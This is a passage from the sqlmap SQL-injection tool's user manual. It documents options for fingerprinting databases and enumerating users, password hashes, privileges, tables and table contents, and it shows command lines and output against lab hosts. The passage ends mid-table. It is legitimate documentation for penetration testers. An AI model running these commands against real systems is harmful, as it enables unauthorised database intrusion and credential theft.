Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f -b

[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] confirming Microsoft SQL Server
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
	Aug  6 2000 00:57:48 
	Copyright (c) 1988-2000 Microsoft Corporation
	Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Windows 2000 Service Pack 4
back-end DBMS:	active fingerprint: Microsoft SQL Server 2000
                banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 
                version 8.00.194
                html error message fingerprint: Microsoft SQL Server
[...]
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b

[...]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] confirming Microsoft SQL Server
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
[hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
	Oct 14 2005 00:33:37 
	Copyright (c) 1988-2005 Microsoft Corporation
	Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

[hh:mm:15] [INFO] performed 1343 queries in 11 seconds
web server operating system: Windows 2003 or 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS operating system: Windows 2003 Service Pack 1
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
               banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0 
               version 9.00.1399
               html error message fingerprint: Microsoft SQL Server
[...]
</verb></tscreen>

<p>
As you can see, from the Microsoft SQL Server banner, sqlmap was able to
correctly identify the database management system patch level.
The Microsoft SQL Server XML versions file is the result of a sqlmap
parsing library that fetches data from Chip Andrews'
<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
name="SQLSecurity.com site"> and outputs it to the XML versions file.


<sect1>Enumeration

<sect2>Banner

<p>
Option: <tt>-b</tt> or <tt>--banner</tt>

<p>
Most of the modern database management systems have a function or an
environment variable which returns details on the database managemet
system version. Sometimes also the operating system where the daemon has
been compiled on, the operating system architecture, its service pack.
Usually this function is <tt>version()</tt> or the <tt>@@version</tt>
environment variable.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -b -v 0

banner:    '5.0.67-0ubuntu6'
</verb></tscreen>

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 0

banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
</verb></tscreen>

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b -v 0

banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -b -v 0

banner:
---
Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
        Aug  6 2000 00:57:48 
        Copyright (c) 1988-2000 Microsoft Corporation
        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 0 -b

banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
	Oct 14 2005 00:33:37 
	Copyright (c) 1988-2005 Microsoft Corporation
	Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
---
</verb></tscreen>


<sect2>Current user

<p>
Option: <tt>--current-user</tt>

<p>
It is possible to retrieve the database management system's user which is
effectively performing the query on the database from the web application.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --current-user -v 0

current user:    'testuser@localhost'
</verb></tscreen>


<sect2>Current database

<p>
Option: <tt>--current-db</tt>

<p>
It is possible to retrieve the database management system's database the
web application is connected to.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --current-db -v 0

current database:    'master'
</verb></tscreen>


<sect2>Detect if the DBMS current user is a database administrator

<p>
Option: <tt>--is-dba</tt>

<p>
It is possible to detect if the  database management system session user is
a database administrator.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:49] [INFO] testing if current user is DBA
[hh:mm:49] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE 
usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
[hh:mm:49] [INFO] retrieved: 1
[hh:mm:50] [INFO] performed 13 queries in 0 seconds
current user is DBA:    'True'
</verb></tscreen>

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --is-dba -v 1

[...]
back-end DBMS: Oracle

[16:40:57] [INFO] testing if current user is DBA
[16:40:58] [INFO] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE 
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65)) 
THEN 1 ELSE 0 END) FROM DUAL
[16:40:58] [INFO] retrieved: 1
[16:40:58] [INFO] performed 13 queries in 0 seconds
current user is DBA:    'True'
</verb></tscreen>


<sect2>Users

<p>
Option: <tt>--users</tt>

<p>
It is possible to enumerate the list of database management system users.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0

database management system users [3]:
[*] postgres
[*] testuser
[*] testuser2
</verb></tscreen>


<sect2>Users password hashes

<p>
Options: <tt>--passwords</tt> and <tt>-U</tt>

<p>
It is possible to enumerate the password hashes for each database
management system user.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0

[*] debian-sys-maint [1]:
    password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
[*] root [1]:
    password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
[*] testuser [1]:
    password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29
</verb></tscreen>

<p>
You can also provide the <tt>-U</tt> option to specify the user who you
want to enumerate the password hashes.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords \
  -U sa -v 0

database management system users password hashes:
[*] sa [1]:
    password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
ba9930b62ee5d506955
        header: 0x0100
        salt: 0a16d704
        mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
        uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955
</verb></tscreen>

<p>
As you can see, when you enumerate password hashes on Microsoft SQL Server
sqlmap split the hash, useful if you want to crack it.

<p>
If you provide <tt>CU</tt> as username it will consider it as an alias for
current user and will retrieve the password hashes for this user.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
  -U CU -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:48] [INFO] fetching current user
[hh:mm:48] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
[hh:mm:48] [INFO] retrieved: postgres
[hh:mm:49] [INFO] performed 62 queries in 0 seconds
[hh:mm:49] [INFO] fetching database users password hashes for current user
[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
[hh:mm:49] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(passwd)) AS CHARACTER(10000)), 
CHR(32)) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
CHR(114)||CHR(101)||CHR(115)
[hh:mm:49] [INFO] retrieved: 1
[hh:mm:49] [INFO] performed 13 queries in 0 seconds
[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
[hh:mm:49] [INFO] query: SELECT DISTINCT(COALESCE(CAST(passwd AS CHARACTER(10000)), 
CHR(32))) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
[hh:mm:51] [INFO] performed 251 queries in 2 seconds
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96034b72d0bba108afe96c1e7
</verb></tscreen>


<sect2>Users privileges

<p>
Options: <tt>--privileges</tt> and <tt>-U</tt>

<p>
It is possible to enumerate the privileges for each database management
system user.

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0

[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
database management system users privileges:
[*] CTXSYS [2]:
    privilege: CTXAPP
    privilege: RESOURCE
[*] DBSNMP [1]:
    privilege: OEM_MONITOR
[*] FLOWS_020100 (administrator) [4]:
    privilege: CONNECT
    privilege: DBA
    privilege: RESOURCE
    privilege: SELECT_CATALOG_ROLE
[*] FLOWS_FILES [2]:
    privilege: CONNECT
    privilege: RESOURCE
[*] HR (administrator) [3]:
    privilege: CONNECT
    privilege: DBA
    privilege: RESOURCE
[*] MDSYS [2]:
    privilege: CONNECT
    privilege: RESOURCE
[*] OUTLN [1]:
    privilege: RESOURCE
[*] SYS (administrator) [22]:
    privilege: AQ_ADMINISTRATOR_ROLE
    privilege: AQ_USER_ROLE
    privilege: AUTHENTICATEDUSER
    privilege: CONNECT
    privilege: CTXAPP
    privilege: DBA
    privilege: DELETE_CATALOG_ROLE
    privilege: EXECUTE_CATALOG_ROLE
    privilege: EXP_FULL_DATABASE
    privilege: GATHER_SYSTEM_STATISTICS
    privilege: HS_ADMIN_ROLE
    privilege: IMP_FULL_DATABASE
    privilege: LOGSTDBY_ADMINISTRATOR
    privilege: OEM_ADVISOR
    privilege: OEM_MONITOR
    privilege: PLUSTRACE
    privilege: RECOVERY_CATALOG_OWNER
    privilege: RESOURCE
    privilege: SCHEDULER_ADMIN
    privilege: SELECT_CATALOG_ROLE
    privilege: XDBADMIN
    privilege: XDBWEBSERVICES
[*] SYSTEM (administrator) [2]:
    privilege: AQ_ADMINISTRATOR_ROLE
    privilege: DBA
[*] TSMSYS [1]:
    privilege: RESOURCE
[*] XDB [2]:
    privilege: CTXAPP
    privilege: RESOURCE
</verb></tscreen>

<p>
You can also provide the <tt>-U</tt> option to specify the user who you
want to enumerate the privileges.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges \
  -U postgres -v 0

database management system users privileges:
[*] postgres (administrator) [3]:
    privilege: catupd
    privilege: createdb
    privilege: super
</verb></tscreen>

<p>
As you can see, depending on the user privileges, sqlmap identifies if the
user is a database management system administrator and show next to the
username this information.

<p>
If you provide <tt>CU</tt> as username it will consider it as an alias for
current user and will enumerate the privileges for this user.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
  -U CU -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:25] [INFO] fetching current user
[hh:mm:25] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
[hh:mm:25] [INFO] retrieved: postgres
[hh:mm:25] [INFO] performed 62 queries in 0 seconds
[hh:mm:25] [INFO] fetching database users privileges for current user
[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(usename)) AS CHARACTER(10000)), 
CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
CHR(114)||CHR(101)||CHR(115)
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
[hh:mm:25] [INFO] fetching privileges for user 'postgres'
[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it 
into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecreatedb THEN 1 ELSE 0 END) AS 
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usesuper THEN 1 ELSE 0 END) AS 
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecatupd THEN 1 ELSE 0 END) AS 
CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] performed 13 queries in 0 seconds
database management system users privileges:
[*] postgres (administrator) [3]:
    privilege: catupd
    privilege: createdb
    privilege: super
</verb></tscreen>

<p>
Note that this feature is not available if the back-end database
management system is Microsoft SQL Server.


<sect2>Available databases

<p>
Option: <tt>--dbs</tt>

<p>
It is possible to enumerate the list of databases.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0

available databases [6]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
</verb></tscreen>

<p>
Note that this feature is not available if the back-end database
management system is Oracle.

<sect2>Databases tables

<p>
Options: <tt>--tables</tt> and <tt>-D</tt>

<p>
It is possible to enumerate the list of tables for all database
manangement system's databases.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0

Database: test
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+

Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS                            |
| COLUMN_PRIVILEGES                     |
| COLUMNS                               |
| KEY_COLUMN_USAGE                      |
| PROFILING                             |
| ROUTINES                              |
| SCHEMA_PRIVILEGES                     |
| SCHEMATA                              |
| STATISTICS                            |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLES                                |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: mysql
[17 tables]
+---------------------------------------+
| columns_priv                          |
| db                                    |
| func                                  |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| proc                                  |
| procs_priv                            |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
| user                                  |
+---------------------------------------+
</verb></tscreen>

<p>
You can also provide the <tt>-D</tt> option to specify the database
that you want to enumerate the tables.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \
  -D test -v 0

Database: test
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+
</verb></tscreen>

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \
  -D users -v 0

Database: USERS
[8 tables]
+-------------------+
| DEPARTMENTS       |
| EMPLOYEES         |
| HTMLDB_PLAN_TABLE |
| JOB_HISTORY       |
| JOBS              |
| LOCATIONS         |
| REGIONS           |
| USERS             |
+-------------------+
</verb></tscreen>

<p>
Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt>
instead of the database name, in my example that is <tt>users</tt> to
retrieve all tables owned by an Oracle database management system
user.


<sect2>Database table columns

<p>
Options: <tt>--columns</tt>, <tt>-T</tt> and <tt>-D</tt>

<p>
It is possible to enumerate the list of columns for a specific database
table.
This functionality depends on the <tt>-T</tt> to specify the table name
and optionally on <tt>-D</tt> to specify the database name.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
  -T users -D test -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:25] [WARNING] missing database parameter, sqlmap is going to use the current 
database to enumerate table 'users' columns
[hh:mm:25] [INFO] fetching current database
[hh:mm:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[hh:mm:25] [INFO] retrieved: test
[hh:mm:25] [INFO] performed 34 queries in 0 seconds
[hh:mm:25] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:25] [INFO] fetching number of columns for table 'users' on database 'test'
[...]
Database: test
Table: users
[3 columns]
+---------+-------------+
| Column  | Type        |
+---------+-------------+
| id      | int(11)     |
| name    | varchar(40) |
| surname | varchar(60) |
+---------+-------------+
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --columns \
  -T users -D master -v 0

Database: master
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | int     |
| name    | varchar |
| surname | varchar |
+---------+---------+
</verb></tscreen>

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns \
  -T users -D public -v 0

Database: public
Table: users
[3 columns]
+---------+--------+
| Column  | Type   |
+---------+--------+
| id      | int4   |
| name    | bpchar |
| surname | bpchar |
+---------+--------+
</verb></tscreen>

<p>
Note that on PostgreSQL you have to provide <tt>public</tt> or the
name of a system database because it is not possible to enumerate other
databases tables, only the tables under the schema that the web
application's user is connected to, which is always <tt>public</tt>.

<p>
If the database name is not specified, the current database name is used.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
  -T users -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current 
database to enumerate table 'users' columns
[hh:mm:13] [INFO] fetching current database
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[hh:mm:13] [INFO] retrieved: test
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
table_schema=CHAR(116,101,115,116)
[hh:mm:13] [INFO] retrieved: 3
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
[...]
Database: test
Table: users
[3 columns]
+---------+-------------+
| Column  | Type        |
+---------+-------------+
| id      | int(11)     |
| name    | varchar(40) |
| surname | varchar(60) |
+---------+-------------+
</verb></tscreen>


<sect2>Dump database table entries

<p>
Options: <tt>--dump</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>,
<tt>--start</tt> and <tt>--stop</tt>

<p>
It is possible to dump the entries for a specific database table.
This functionality depends on the <tt>-T</tt> to specify the table name
and optionally on <tt>-D</tt> to specify the database name.
If the database name is not specified, the current database name is used.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
  -T users -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current 
database to dump table 'users' entries
[hh:mm:13] [INFO] fetching current database
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[hh:mm:13] [INFO] retrieved: test
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
table_schema=CHAR(116,101,115,116)
[hh:mm:13] [INFO] retrieved: 3
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
[...]
Database: test
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name                                         | surname           |
+----+----------------------------------------------+-------------------+
| 1  | luther                                       | blissett          |
| 2  | fluffy                                       | bunny             |
| 3  | wu                                           | ming              |
| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 5  | NULL                                         | nameisnull        |
+----+----------------------------------------------+-------------------+
</verb></tscreen>

<p>
You can also provide the <tt>-C</tt> option to specify the table column
that you want to enumerate the entries.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \
  -T users -D master -C surname -v 0

Database: master
Table: users
[5 entries]
+-------------------+
| surname           |
+-------------------+
| blisset           |
| bunny             |
| ming              |
| nameisnull        |
| user agent header |
+-------------------+
</verb></tscreen>

<p>
sqlmap also stores for each table the dumped entries in a CSV format file.
You can see the absolute path where it stored the dumped tables entries
by providing a verbosity level greater than or equal to 1.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \
  -T users -D public -v 1

[...]
Database: public
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name                                         | surname           |
+----+----------------------------------------------+-------------------+
| 1  | luther                                       | blissett          |
| 2  | fluffy                                       | bunny             |
| 3  | wu                                           | ming              |
| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 5  |                                              | nameisnull        |
+----+----------------------------------------------+-------------------+

[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
192.168.1.121/dump/public/users.csv'
[...]

$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv 
"id","name","surname"
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
"4","sqlmap/0.7 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
</verb></tscreen>

<p>
You can also provide the <tt>--start</tt> and/or the <tt>--stop</tt>
options to limit the dump to a range of entries.

<itemize>
<item><tt>--start</tt> specifies the first entry to enumerate
<item><tt>--stop</tt> specifies the last entry to enumerate
</itemize>

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
  -T users -D test --start 2 --stop 4 -v 0

Database: test
Table: users
[3 entries]
+----+----------------------------------------------+-------------------+
| id | name                                         | surname           |
+----+----------------------------------------------+-------------------+
| 2  | fluffy                                       | bunny             |
| 3  | wu                                           | ming              |
| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
+----+----------------------------------------------+-------------------+
</verb></tscreen>

<p>
As you can see, sqlmap is very flexible: you can leave it automatically
enumerate the whole database table up to a single column of a specific
table entry.


<sect2>Dump all databases tables entries

<p>
Options: <tt>--dump-all</tt> and <tt>--exclude-sysdbs</tt>

<p>
It is possible to dump all databases tables entries at once.

Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0

Database: test
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name                                         | surname           |
+----+----------------------------------------------+-------------------+
| 1  | luther                                       | blissett          |
| 2  | fluffy                                       | bunny             |
| 3  | wu                                           | ming              |
| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 5  | NULL                                         | nameisnull        |
+----+----------------------------------------------+-------------------+

Database: information_schema
Table: CHARACTER_SETS
[36 entries]
+--------------------+----------------------+-----------------------------+--------+
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION                 | MAXLEN |
+--------------------+----------------------+-----------------------------+--------+
| tis620             | tis620_thai_ci       | TIS620 Thai                 | 1      |
| macroman           | macroman_general_ci  | Mac West European           | 1      |
| dec8               | dec8_swedish_ci      | DEC West European           | 1      |
| ujis               | ujis_japanese_ci     | EUC-JP Japanese             | 3      |
| eucjpms            | eucjpms_japanese_ci  | UJIS for Windows Japanese   | 3      |
| armscii8           | armscii8_general_ci  | ARMSCII-8 Armenian          | 1      |
| ucs2               | ucs2_general_ci      | UCS-2 Unicode               | 2      |
| hp8                | hp8_english_ci       | HP West European            | 1      |
| latin2             | latin2_general_ci    | ISO 8859-2 Central European | 1      |
| koi8u              | koi8u_general_ci     | KOI8-U Ukrainian            | 1      |
| keybcs2            | keybcs2_general_ci   | DOS Kamenicky Czech-Slovak  | 1      |
| ascii              | ascii_general_ci     | US ASCII                    | 1      |
| cp866              | cp866_general_ci     | DOS Russian                 | 1      |
| cp1256             | cp1256_general_ci    | Windows Arabic              | 1      |
| macce              | macce_general_ci     | Mac Central European        | 1      |
| sjis               | sjis_japanese_ci     | Shift-JIS Japanese          | 2      |
| geostd8            | geostd8_general_ci   | GEOSTD8 Georgian            | 1      |
| cp1257             | cp1257_general_ci    | Windows Baltic              | 1      |
| cp852              | cp852_general_ci     | DOS Central European        | 1      |
| euckr              | euckr_korean_ci      | EUC-KR Korean               | 2      |
| cp1250             | cp1250_general_ci    | Windows Central European    | 1      |
| cp1251             | cp1251_general_ci    | Windows Cyrillic            | 1      |
| binary             | binary               | Binary pseudo charset       | 1      |
| big5               | big5_chinese_ci      | Big5 Traditional Chinese    | 2      |
| gb2312             | gb2312_chinese_ci    | GB2312 Simplified Chinese   | 2      |
| hebrew             | hebrew_general_ci    | ISO 8859-8 Hebrew           | 1      |
| koi8r              | koi8r_general_ci     | KOI8-R Relcom Russian       | 1      |
| greek              | greek_general_ci     | ISO 8859-7 Greek            | 1      |
| cp850              | cp850_general_ci     | DOS West European           | 1      |
| utf8               | utf8_general_ci      | UTF-8 Unicode               | 3      |
| latin1             | latin1_swedish_ci    | cp1252 West European        | 1      |
| latin7             | latin7_general_ci    | ISO 8859-13 Baltic          | 1      |
| cp932              | cp932_japanese_ci    | SJIS for Windows Japanese   | 2      |
| latin5             | latin5_turkish_ci    | ISO 8859-9 Turkish          | 1      |
| swe7               | swe7_swedish_ci      | 7bit Swedish                | 1      |
